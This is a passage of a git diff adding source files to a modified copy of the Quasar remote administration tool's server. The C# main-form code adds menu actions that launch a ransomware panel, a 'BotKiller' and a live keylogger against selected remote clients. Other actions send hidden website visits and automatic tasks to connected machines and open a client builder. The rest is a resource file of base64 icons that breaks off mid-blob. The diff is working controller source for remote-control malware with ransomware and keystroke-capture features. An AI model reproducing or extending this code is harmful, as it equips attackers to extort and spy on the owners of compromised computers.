+ else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for BotKiller.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + + + private void ransomwareToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmRansomware(clients[0]); + frm.Show(); + } + else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for Ransomware.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void keyloggerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmLiveKeylogger frmKl = Messages.LiveKeyloggerHandler.CreateOrGetForm(c); + frmKl.Show(); + frmKl.Focus(); + } + } + + #endregion + + #region "User Support" + + private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoVisitWebsite + { + Url = frm.Url, + Hidden = frm.Hidden + }); + } + } + } + } + } + + private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShowMessageBox + { + Caption = frm.MsgBoxCaption, + Text = frm.MsgBoxText, + Button = frm.MsgBoxButton, + Icon = frm.MsgBoxIcon + }); + } + } + } + } + } + + #endregion + + private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) + { + lstClients.SelectAllItems(); + } + + #endregion + + #region "MenuStrip" + + private void closeToolStripMenuItem_Click(object sender, EventArgs e) + { + Application.Exit(); + } + + private void settingsToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmSettings(ListenServer)) + { + frm.ShowDialog(); + } + } + + private void builderToolStripMenuItem_Click(object sender, EventArgs e) + { +#if DEBUG + MessageBox.Show("Client Builder is not available in DEBUG configuration.\nPlease build the project using RELEASE configuration.", "Not available", MessageBoxButtons.OK, MessageBoxIcon.Information); +#else + using (var frm = new FrmBuilder()) + { + frm.ShowDialog(); + } +#endif + } + + private void autoTasksMenuToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmAutoTasks()) + { + frm.ShowDialog(); + } + } + + private void statisticsToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.Visible) + { + if (statisticsPanel == null) + { + statisticsPanel = new Controls.StatisticsPanel(ListenServer); + statisticsPanel.Dock = DockStyle.Fill; + statisticsPanel.Visible = false; + int row = tableLayoutPanel.GetRow(lstClients); + int col = tableLayoutPanel.GetColumn(lstClients); + tableLayoutPanel.Controls.Add(statisticsPanel); + tableLayoutPanel.SetRow(statisticsPanel, row); + tableLayoutPanel.SetColumn(statisticsPanel, col); + } + tableLayoutPanel.SuspendLayout(); + lstClients.Visible = false; + statisticsPanel.Visible = true; + tableLayoutPanel.ResumeLayout(false); + } + else + { + tableLayoutPanel.SuspendLayout(); + if (statisticsPanel != null) + statisticsPanel.Visible = false; + lstClients.Visible = true; + tableLayoutPanel.ResumeLayout(false); + } + } + + private void aboutToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmAbout()) + { + frm.ShowDialog(); + } + } + + #endregion + + #region "NotifyIcon" + + private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) + { + this.WindowState = (this.WindowState == FormWindowState.Normal) + ? FormWindowState.Minimized + : FormWindowState.Normal; + this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal); + } + + private void ExecuteAutoTasks(Client client, string trigger) + { + foreach (var task in FrmAutoTasks.ConfiguredTasks) + { + if (task.Trigger != trigger && task.Trigger != "All") continue; + + try + { + client.Send(new DoAutoTask + { + TaskType = task.TaskType, + Param1 = task.Param1, + Param2 = task.Param2, + Param3 = task.Param3 + }); + } + catch { } + } + } + + private void systemOptionsToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmSystemOptions(clients[0]); + frm.Show(); + } + else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for System Options.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void txtSearch_TextChanged(object sender, EventArgs e) + { + string searchText = txtSearch.Text.Trim().ToLower(); + + if (string.IsNullOrEmpty(searchText)) + { + // Show all items and remove highlighting + lstClients.BeginUpdate(); + foreach (ListViewItem item in lstClients.Items) + { + item.BackColor = System.Drawing.Color.Empty; + item.ForeColor = System.Drawing.Color.White; + } + lstClients.EndUpdate(); + return; + } + + lstClients.BeginUpdate(); + List matchedItems = new List(); + + // Get Windows accent color for highlighting + System.Drawing.Color accentColor = System.Drawing.SystemColors.Highlight; + + foreach (ListViewItem item in lstClients.Items) + { + bool matches = false; + + // Search through all subitems (IP, Tag, User@PC, Version, Country, OS, etc.) + foreach (ListViewItem.ListViewSubItem subItem in item.SubItems) + { + if (subItem.Text.ToLower().Contains(searchText)) + { + matches = true; + break; + } + } + + if (matches) + { + // Highlight matched items with Windows accent color + item.BackColor = accentColor; + item.ForeColor = System.Drawing.SystemColors.HighlightText; + matchedItems.Add(item); + } + else + { + // Dim non-matched items + item.BackColor = System.Drawing.Color.Empty; + item.ForeColor = System.Drawing.Color.Gray; + } + } + + // Bring first matched item to top (scroll to it) + if (matchedItems.Count > 0) + { + matchedItems[0].EnsureVisible(); + } + + lstClients.EndUpdate(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx new file mode 100755 index 0000000..afdf789 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx @@ -0,0 +1,2176 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 223, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKvSURBVDhPpZPdT5JRHMf9W/RP6DndtDa9aK5N56Ok + XWTUME3UVrgKtcEqxQRfAQVsKITiG+UblKgICT6aPaFgaOqTAzNoa6sbSFuW3yYtzHJd1Nk+Zztn53zO + vuf8ThKApP/hj4kc3WpKpiYgyVAtcacavNG0ejaaWj/PpdbPSU7eY1J+X39okKVd4Z1W+iMlRh+MrhAG + ma04BkcQAu0zEMlUhEgdvCMFmZoAL71xMdYwuga7N4KOiRBklle4278CpXUNFvcmagcDIKUjMXJ1JCGJ + dxnqpeT0poXw/mbr8wgk/SuoNPvRN/MGfZ5N3DT5IO72wzS1AdlDH0iRJUwK+5MTgnTlgrRY74WNfYcq + cwBiow/XOxfx6fNuHFEnC1EHC/EDL8xPgzinGAeV3y1NCNKaWM7gCEFt5XDDuIjyTi9EehZdrg2YXBso + bWd+oJuBzOKHdmIVJK+TSwhOyJjt4fm3qOryQdTxAmX351CqY7Df9gAINR4Ut06juNWNKzoPLEwQFK9t + OyEgUtf20NxWPOv+SSXaGQg1MwiEPiK2s4uiFhcKm5241OyEUOXEwGwQFK36VeDg9A4O8kfLKNPNQdjm + wWX1NF4GPyC28wUF9ZMoUIxDoLCjooOB2r4Ekt1yEIFU2KV8pQt97hDKNAyESjfs7Ca+ftuLR/C9fg++ + zAa+zIr2xwHk3RoEyW4+uERybSiZCC3hOwOLMDnWUaR0QtAwgQvyMfBrrDhfPYL86mE0DnhRaZ4FRcvD + hJYfPOM+lKCXdyzXEJP0sjBMrkKs90CgeIKLtTaUa5zQWv0QdzEgWTUxQssPF1JCkmfgUbntkbO3R6Ee + W0aPh0OPZx0ttiXkVFlAZdVGCF13dCn/hJzRplC8VgmVo+IoWhGlsuqihJZzhJZLjtM1f/9M/8J3OIbL + 7IJCv8kAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIWSURBVDhPpY/PaxNBGIZ78O7NP8FTKmKbFdGjIJ68 + iF78BSKozUGiFCqC9pA0IARKo4iIpVAq2GKxEcGj9VBNbRObaDabNDZNG5pgs7uzu7O7s7vzSlJNIgEh + 9PDM980L3/PN9AHo2w9dQa90Bb3SPHLvBlOlxSts89O1Dq6y/PtT6+KC75C44Dv4D/EmB1oCKS5YnHsA + OMAb7PWOWcPW0pBdXhqy/lJZGTG3E/dKubfHLrQF836FuyasrSiM4jiMjUnQ0hy4I4N7Orirgbvq3t2p + Ax6zpXkh0xa8FojHVBjFGPTCBMj3UewmbqO2HICcDkFeewQ5dR/15DDqySAcswrpzaDWFsz6mUN3IGdi + qK9GUP14F7T6Bdwlf7Y3qtJ+ATikWcFsC2aOs+b/PQvwKOAazUGXirAqMZjlEOjPYRj5m9DFS3D1LKRp + f4dgSrC5S+GSz3DkD2C/5mDvvIBZfgy68QC0EICRuwz9xzlo6dNwtRSkyU7Bc8HyGAHbjcOuTsOqPIG5 + GQItNrbegJ69CC1zFuTbSairR+GQr5CedQpifpMzGXZ1Ctb2OMzSKGgxCEO6Dj17Hlr6DEjqBNSVI1CW + D8MhCTRmWoJcdKDClIKir7/y9PxLaNJTaGIUWjYMknkIkh6BuhaEmgpATd6CVVvkueiA0hKIYd8dMdI/ + I47118RIv/lfxppVFcO+iZZgP3QFvfIbjdEbMqg0Vh4AAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAEJSURBVDhPpdPPaoMwHAdwn0NREEEQQRAEl81mWeLu + LRTfYU/QFQq+QWn7ILtuTig+wU477r5dd+pBxnckRbcc9idb4Ev8BfLhZ0gsANZ/YlV1t67q7lDVXW+Y + nQLmq/1hc/uM7d33eXh61eb5at8rYLZse7mwa16MMlu2UMB00bzJwjTTRXMEZJFlGdI0RZIkiOMYURQh + DEMEQQDf9+F5HlzXheM4sG1bZexAfuQnRBZGiAaQ0zPkeW6EaEAxoWqzRH77Ox/AdQt6zlAUBQghYyfD + +ArRAHbBQSnVkJ86+QTcg4sSjDEjROtAlCU450aIdohCCBUTZAQur24eh9tlErlPAcOz/GveAX11R2h2 + a0LRAAAAAElFTkSuQmCC + + + + + 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 + 7IJCv8kAAAAASUVORK5CYII= + + + + + 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 + SCRK8/n8s/8CwNyzn/m7geEAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ1SURBVDhPpZHLaxNRFMb7H7ju0p0bBVdZCCoupKKo + ICi6qmIVzaJZdGFQAkKwJQ/HtI2NVKpNLFYCNs9pM5PXNJNp00mamJk0TTt5jJVC22BKNy5cfHIHja9Z + CF74OPce7vmdc7/bA6Dnf/RXolAovMrlcl95nkc6nQbLsqBpGoFAAH6//+2f97ubUql0KJ/P+xVFwdbW + NpSGCkVpYpNos4F2+zNmZmagCygWi32iKH5qNpvY3d1FbqWIrCAiw6+AyyyD45awXlMwNTWlDxBFETs7 + O5pU9SN4QcTEhAdu93OMjY3D5RrFWnUTHo9HHyAIAjqdDlRVRb1exyLpuriMFCcgmcqCTWRQWduAy+XS + BxCz2u02Wq0WFKWONLekdaUoCk6nEzabDXKlBrvdrg8gThMA8aBW20AyJSCe5MHGM4ixHBZiaUhSFVar + VR8QjUY1QKPRwPp6TRuZYRcRYzi8WX6Nq+8u44NUhcVi0QfMzc1hb29Pe3+lUu12pReSODN9AoZxA6bD + LzA4dgN3nl7Cdevpg3MPjj3qAmZnZ7XvIwBJrmCeFM8nEaETCEdYOKaf4LH/JiKyG6VtBhR7H9eoozAY + ex0awOv1Yn9/XzOxXJYRpZOIROMIRVgEQwz6R/oQlJ4huDZKngBHfABU/C4BfNEAk5OTuXA4DFmW0Wyq + SKSyCEcTCARjeB+M4cLD46Dll1rxjxUquwngpxkURZ232Wx5n88HPitAkmtYLcoorEo4OXgYduYWhpl+ + rXg41v/7BL/KYrGcNZvN5aGhIZhMJhiNRly8dwpXHEfgZG5rnUkk564H/yKDsXfEYOw9IGN/jyMk/w01 + hv6Uwh3lxAAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKlSURBVDhPpZFfSFNhGMZPREQQWBcVUiQG0R+Qkogk + 9KoSqQsjqKAischFg/RiNwfTTJHqjHVc/tlguDnXaDZig7HlnG07+3PcPFsT29Tp2eZSCudIb7oqeeKc + i2G5i6CL5+Pj5Xt/z/s9LwGA+B9tKUSjUV04HP4ZCATg9XrhcrngcDhgtVphNpvf/v2+cJmamiqJRCJm + nuextPQVfDoLns9gQdBCGvn8dxiNRhQFxGKxOo7jljOZDHK5HMKTMQRZDv7AJBh/CAwzgbkkD61WWxzA + cRxWVlZEZbNfEGA5qFRq9PcPoLe3D0rla8zMLkCtVhcHsCyLtbU1ZLNZpFIp+ARXXwgehoXbE4Trox+J + mXkolcriACGsfD6PxcVF8HwKXmZCdKVpGgqFAhRFIZ5IQi6XFwcISQsAIYNkch5uD4txdwCucT+cLgaj + Ti+ajTV4oKtEw2DFri0Au90uAtLpNObmkuLIYy4fnGMM3oSGcGPkKiT6Kjyz3cJN9XHU95cVIOJhsViw + uroq/j+RmBVdBcfHhipI9GfQOHgKTyzX8Y5TQmauxyX6wEaNfO/uAsBkMonrEwCf4wl8cHohNZyD9dMA + 3kf7xEYT14OecRn0ExQeGmtx9vnOjYqubSUiYHh4GOvr62KI09Nx2B1u3NdVis2vxprxclSKbkcTOmyN + 6LRLoPZ14c5QNY4+JX6JAI1GE7bZbIjH48hksvjoCeK25gRGJntgDCmgZylogy/Q7XgEla8TTcY6lLcR + uYMkcbqQJk3TVyiKihgMBgSCLK6pjuCy8hAu0vtRLd+Du7rzGGA6cM9Qi7I24lspSZwsZLBZ7e3ttSRJ + TstkMrS0tEAqlUIikaCicwca9BdQ1kosl5LEsT+28C8qbyN+HG7djn0kUb65/hu4oOErFYp5IgAAAABJ + RU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALtSURBVDhPpZLdT1NnAId7sZh4tf+Af8ALk2XGj7ll + cZmbXhg3F92HM2xUYSKxCccFrEOjJCAfaUqpVOdaGW0dKZYi0Hp6+nFqS6EeSotFSuVUVhkOCNv1gheP + OSXbEnuxi108N2/y/J73TV4doPs/VBy8TjqddqRSqZeJRAJZlpEkCb/fj8/nw+Px3K0Q/iabzb45PT3t + UVWV5eUXqM9KqOoSixqLz9jY+BOXy1UpamQymY8VRfltaWmJ9fV1Uo8yTCQV4olHxOJTxGKTLBRU7HZ7 + payhKApra2tlSqXnJJIKfX02rNYbWCy9mM09zOcXsdlslXK/vFHl9XoRRZFSqUSxWOShVn04RTSWJBKd + QArHeTL/FLPZ/K/oiv+x3RFZH741PPNXIBAgFAoxNDSEqhaRY5Plqslkoru7m46ODuaeFOjs7Pyn+sZt + 6fenA/IqA9EVOn8aR7uF2+1mYaFAODJBKJJACsURpRgPRJlcLk9ra+vWgO3BiyrL2DL3kqu45WVMvkUE + 0zjRVL78TkG4gBiUEYMxnFN3OD54lNlcnpaWlq2BLu+ve7u8RZyR51z3LNA7WuCiI8NXF51YLBYGBwfR + 608zHghzoP8ddvfuJjs7T1NT09bAZVf+yFV3npt+lR/6szTeUrjqzCDcnOTzc9dpa2vjwvdNjPnDjI5J + jIxKZLJzNDY2bg0YbDPCpf4sJm+e830pzpjinGwPo++S+aY9xHvHWvGNBLmvyfeDDI+IzGTmaGhoQHfW + mt5W3ZXcvOaexeiYxmhXyuVzPXFOd0f48LtfMLZ7GR0P4xsR8WoMB0jP5Kirq0P3ZXtis64nyZWf0xhu + THDM6OfgWQ/vnhpg16e3+egLK1E5QW6uUK5qosbKyip6vR7d4UvBwMm2KMdbRPZ9e3dz1wmH8NYnPx7Z + eci6d8cHpqpm4+VDzc3NjwVBwGAwUF9fT21tLTU1NVRXV+d175/3bd9/xhPY87Vz8+3P7Nte/5n/xSvE + NOd/o4qzUgAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKLSURBVDhPpZFNSBtRFIVTRtelO7F04aa7rl20C7FN + KRShtKVddlEXhVAQsWq6iBspZSSE+FMDUttqpSkBjSYTM5n8jZmMxkmMmokxOslkVASTYFz0DyqeMkMJ + tE5XfXDgcXn3O++eawBg+B+dK6RSqXeJROInx3GIRqNgGAY+nw9utxsul+vT3+/rl/X19YvJZNIlSRL2 + 9w8hFRVIkoxdVbtFVKvHmJmZgS4gnU7fEQThQJZllMtlJFbTiPMCYtwq2NgKWHYZ23kJk5OT+gBBEHB0 + dKRJUfbA8QLGxx0YG3uDkZFR2O3D2MrtwuFw6AN4nketVoOiKCgUClhSXZdWEGF5hCNxMKEYsls7sNvt + +gA1rGq1ilKpBEkqIMoua642mw1WqxUkSULM5jE0NKQPUJNWAWoG+fwOwhEewTAHJhgDzbDw01FkMjkM + Dg7qAyiK0gDFYhHb23ntywFmCXSAxceV93j0+R42MjlYLBZ9wNzcHCqVijZ/Npuru/r8YbR/uI7W0Vas + Ogbgv9+MYHvDGW0k9mgj0V8HOJ1ObX0qICNmsag2L4bh9YXg8TIIvO7Gxosb+E5Zcbblx1dnNwTTtdPA + zYbnGmBqagonJydaiJubIihfGF4qiAUvg/mFAPwPLuMbZQWGO4C+S8CrFlTINtC3iKIGmJiYSHg8Hoii + CFlWEIrE4aFCcM/TmJ2nEWxvxFlqVp2/fmoDTdo49TBsNttdkiST09PT4OI8MmIea2kRqbUMmIfN+PL2 + KTDQhB+9Bhz3GqA8I0AbiYM/ElVlsVhum83mzZ6eHnR1dcFkMmHsSRuWO6/isK8FZXMjCp0XEOpoOPUb + iZfnAP8S9/hKP20k5N9b2Feb1fovSNb8+nWLDaoAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAITSURBVDhPpdHPa9pwGMfx/gf7c3rYbYcx2GWnnQUF + BREEPejFkydFgmu7CoLbdDKHMLVqrEaj0Zhqo43V+KvGH1nXMatM7zt8xjewXZYyxg7vS+B5PcmTAwAH + /9MfD0jdbvdNu93+wfM8arUaGIYBTdNIp9NIJpMfHgR6vd6jTqeTVBQFt7dfoSxUKMoSM9Jsge32O+Lx + OHQBSZKeiaL4Zblc4v7+Hu1LCU1BRIO/BNdogeMuMJkqiEQi+oAoiliv11qq+hm8IOL0NISTk9c4OjpG + MPgKo/EMoVBIHxAEAbvdDqqqYj6fo0621luocgLYahNMpYHh6AbBYFAfIMfabrdYrVZQlDlq3IW2laIo + BAIB+Hw+yMMp/H6/PkAuTQByg+n0BmxVQJnlwZQbKDIczos1DAZjeL1efSCfz2vAYrHAZDLVXrnE1FEs + cXjfeouXH1/gejCGx+PRB1KpFDabjfb9w+H491b6nMWTd49xeHyI3vUILpdLH0gkEtrvI8BAHqJAhgss + cnQF2RyDTJaB1JPhcDj0gWg0iv1+rx2x35eRp1nk8mWckeGzElKZIq4kGTabTR8Ih8PtbDYLWZaxXKqo + VJvI5itIZ4r4REoV0L0awGKx6AMkiqKe+3y+TiwWA98UMJCn2lYySLq7+waTyfQw8CuPx/PU7Xb3nU4n + 7HY7rFYrzGYzjEYjDAbD+K/Av/QTXRAStzvN85cAAAAASUVORK5CYII= + + + + 123, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + 